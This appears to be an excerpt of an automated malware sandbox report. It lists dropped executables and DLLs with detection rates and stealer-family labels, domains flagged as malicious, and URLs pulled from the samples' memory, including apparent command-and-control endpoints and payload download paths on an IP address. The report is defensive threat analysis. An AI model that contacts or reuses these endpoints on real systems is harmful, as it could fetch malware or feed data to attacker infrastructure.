C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal		Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal		Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal		Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal		Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	24%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	47%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	47%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	95%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[3].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	48%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[3].exe	47%	ReversingLabs	Win32.Trojan.Cerbu
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[4].exe	55%	ReversingLabs	ByteCode-MSIL.Trojan.Znyonm
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	5%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	24%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	95%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	48%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	24%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	24%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	47%	ReversingLabs	Win32.Trojan.Cerbu
C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	55%	ReversingLabs	ByteCode-MSIL.Trojan.Znyonm
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\AutoIt3_x64.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\ucrtbase.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7ZipSfx.001\AutoIt3_x64.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7ZipSfx.001\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7ZipSfx.001\ucrtbase.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_ARC4.pyd	0%	ReversingLabs

Name	Malicious	Antivirus Detection	Reputation
slipperyloo.lat	true
pancakedipyps.click	true
curverpluch.lat	true
tentabatte.lat	true
manyrestro.lat	true
bashfulacid.lat	true
wordyfindy.lat	true
shapestickyr.lat	true
http://185.215.113.206/c4becf79229cb002.php	true
talkynicer.lat	true

URLs from Memory and Binaries

Name	Source	Malicious
https://duckduckgo.com/chrome_newtab	random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	true
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	random(4).exe, 00000000.00000003.1776580455.000000000539D000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B522000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2256390472.000000000162E000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2256532484.000000000162F000.00000004.00000020.00020000.00000000.sdmp	false
https://pancakedipyps.click/	9ce3a8a3dc.exe, 0000000C.00000002.2447560681.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2320718181.000000000158D000.00000004.00000020.00020000.00000000.sdmp	false
https://fancywaxxers.shop/api97	random(4).exe, 00000000.00000003.1968225491.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845169784.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845653640.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1810775955.0000000000D52000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968557997.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/sqlite3.dll&	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/freebl3.dll	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	false
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	9ce3a8a3dc.exe, 0000000C.00000003.2256532484.000000000162F000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/nss3.dll	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpfi	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CC4000.00000004.00000020.00020000.00000000.sdmp	false
https://pancakedipyps.click/fe	9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015DC000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2445933284.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2379447041.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2335777288.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2286847849.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2320718181.000000000158D000.00000004.00000020.00020000.00000000.sdmp	false
https://pancakedipyps.click/api	9ce3a8a3dc.exe, 9ce3a8a3dc.exe, 0000000C.00000003.2335294704.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2376579538.00000000015FF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2327552419.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400323329.0000000001593000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2452826288.0000000001601000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400489317.00000000015A6000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400121522.0000000001600000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2441193868.0000000001594000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2444078928.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2320200715.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2376311717.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2379447041.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2335777288.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2447560681.00000000015EF000.00000004.00000020.00020000.00000000.sdmp	false
https://pancakedipyps.click/jhBK	9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015DC000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2445933284.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2379447041.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2335777288.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2286847849.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2320718181.000000000158D000.00000004.00000020.00020000.00000000.sdmp	false
https://contile-images.services.mo	9ce3a8a3dc.exe, 0000000C.00000003.2267594754.000000000162E000.00000004.00000020.00020000.00000000.sdmp	false
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B522000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2267594754.000000000162E000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2256390472.000000000162E000.00000004.00000020.00020000.00000000.sdmp	false
http://www.mozilla.com/en-US/blocklist/	NU4SX64NXMV3YXYV8G3PIA0S0.exe, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmp	false
http://185.215.113.16/#	random(4).exe, 00000000.00000003.1968225491.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968557997.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	false
https://pancakedipyps.click/apiO	9ce3a8a3dc.exe, 0000000C.00000003.2327552419.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	false
https://fancywaxxers.shop/b	random(4).exe, 00000000.00000003.1845570152.0000000000D62000.00000004.00000020.00020000.00000000.sdmp	false
https://fancywaxxers.shop/a	random(4).exe, 00000000.00000003.1763145473.000000000539B000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1763212305.000000000539D000.00000004.00000800.00020000.00000000.sdmp	false
https://fancywaxxers.shop/c	random(4).exe, 00000000.00000003.1845570152.0000000000D62000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	false
http://crl.rootca1.amazontrust.com/rootca1.crl0	random(4).exe, 00000000.00000003.1774866430.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2254721106.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	false
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	random(4).exe, 00000000.00000003.1776580455.000000000539D000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B522000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2267594754.000000000162E000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2256390472.000000000162E000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.rootca1.amazontrust.com0:	random(4).exe, 00000000.00000003.1774866430.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2254721106.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	false
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	random(4).exe, 00000000.00000003.1763262995.00000000053EB000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1762994374.00000000053EB000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1763106978.00000000053EB000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751972120.00000000053F2000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1752021463.00000000053EB000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2131344489.00000000053ED000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007D5000.00000040.00000001.01000000.00000006.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221672138.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2235257275.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2234911700.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221476307.0000000003C73000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2235067086.0000000003C27000.00000004.00000800.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl	random(4).exe, 00000000.00000003.1802124250.000000000539B000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1801768237.0000000005399000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1787935893.0000000005397000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1788085717.0000000005398000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1791965316.0000000005399000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	9ce3a8a3dc.exe, 0000000C.00000003.2255922169.0000000003CF4000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.php2	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	false
https://fancywaxxers.shop/S	random(4).exe, 00000000.00000003.1801861765.0000000000D62000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845570152.0000000000D62000.00000004.00000020.00020000.00000000.sdmp	false
https://fieldhitty.click/api	943fedf78d.exe, 0000000D.00000003.4125929580.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, 943fedf78d.exe, 0000000D.00000003.4131889031.0000000001206000.00000004.00000020.00020000.00000000.sdmp, 943fedf78d.exe, 0000000D.00000003.4125929580.00000000011DF000.00000004.00000020.00020000.00000000.sdmp	false
https://pancakedipyps.click/api9	9ce3a8a3dc.exe, 0000000C.00000002.2452826288.0000000001601000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400121522.0000000001600000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.micro	random(4).exe, 00000000.00000003.1845169784.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1750674299.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1791619976.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1802092337.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1801922934.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp	false
https://fancywaxxers.shop/K	random(4).exe, 00000000.00000003.1968516826.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845454341.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false
https://fancywaxxers.shop/api	random(4).exe, 00000000.00000003.1750674299.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845653640.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1801783233.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845372507.000000000539E000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1810775955.0000000000D52000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1787935893.000000000539E000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968353025.000000000539D000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845454341.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1801861765.0000000000D51000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968557997.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	false
https://support.microsof	random(4).exe, 00000000.00000003.1751972120.00000000053F2000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221476307.0000000003C75000.00000004.00000800.00020000.00000000.sdmp	false
https://pancakedipyps.click/api&	9ce3a8a3dc.exe, 0000000C.00000002.2452826288.0000000001601000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400121522.0000000001600000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpI	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000C97000.00000004.00000020.00020000.00000000.sdmp	false
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	random(4).exe, 00000000.00000003.1752021463.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221672138.0000000003C02000.00000004.00000800.00020000.00000000.sdmp	false
https://pancakedipyps.click/pi	9ce3a8a3dc.exe, 0000000C.00000003.2398825314.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2447560681.00000000015EF000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206z	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16:80/mine/random.exe5117-2476756634-1002	random(4).exe, 00000000.00000003.1968225491.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968557997.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2228560257.000000000B762000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpY	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/0	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpb	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B529000.00000004.00000020.00020000.00000000.sdmp	false
https://pancakedipyps.click/pi#oLKU	9ce3a8a3dc.exe, 0000000C.00000003.2398825314.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2447560681.00000000015EF000.00000004.00000020.00020000.00000000.sdmp	false
https://fancywaxxers.shop/#	random(4).exe, 00000000.00000003.1845570152.0000000000D62000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1810775955.0000000000D62000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/mine/random.exe	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpp	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B529000.00000004.00000020.00020000.00000000.sdmp	false
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	random(4).exe, 00000000.00000003.1763262995.00000000053EB000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1762994374.00000000053EB000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1763106978.00000000053EB000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751972120.00000000053F2000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1752021463.00000000053EB000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2131344489.00000000053ED000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007D5000.00000040.00000001.01000000.00000006.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221672138.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2235257275.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2234911700.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221476307.0000000003C73000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2235067086.0000000003C27000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	false
